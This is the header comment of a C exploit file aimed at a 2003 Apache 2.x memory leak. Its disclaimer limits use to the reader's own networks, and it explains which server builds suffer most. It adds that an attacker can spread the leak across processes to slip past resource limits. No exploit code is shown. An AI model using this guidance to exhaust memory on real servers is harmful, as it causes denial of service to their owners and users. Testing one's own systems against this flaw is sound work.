/* apache-massacre.c
* Test code for Apache 2.x Memory Leak
* By Tgingle2011
*
* DISCLAIMER: This exploit tool is provided only to test networks for a
* known vulnerability. Do not use this tool on systems you do not control,
* and do not use this tool on networks you do not own without appropriate
* consent from the network owner. You are responsible for any damage your
* use of the tool causes. In no event may the author of this tool be held
* responsible for damages relating to its use.
*
* As with most Apache exposures, the impacts vary between ports of the server:
*
* Non-Unix (Win32, Netware, OS/2): These ports are most adversely affected
* by this, as Apache's child process doesn't terminate normally unless the
* parent process stops. This means that leaks (and any performance loss) hang
* around until Apache is restarted.
*
* Unix/mpm_prefork: This MPM offers the most protection against successful
* exploitation, as its processes exit at the end of the request.
*
* Unix/other MPMs: These other MPMs utilize multiple Apache processes for
* multiple Apache requests. Depending on the MPM in use and the traffic rates
* of the server, this may be used to the advantage of a potential attacker.
* If multiple different Apache processes are utilized, an attacker can spread
* the substantial leak between processes to dodge resource limits imposed on
* httpd's UID (usually nobody, www, or apache)
*
* Credit: iDEFENSE reported this issue to several security lists on April 8,
* 2003 following the Apache release announcement. Apache fixed the flaw about
* a month after the initial disclosure of this vulnerability. iDEFENSE credits
* the discovery of this vulnerability to an anonymous researcher.
*
* Happy Hunting!
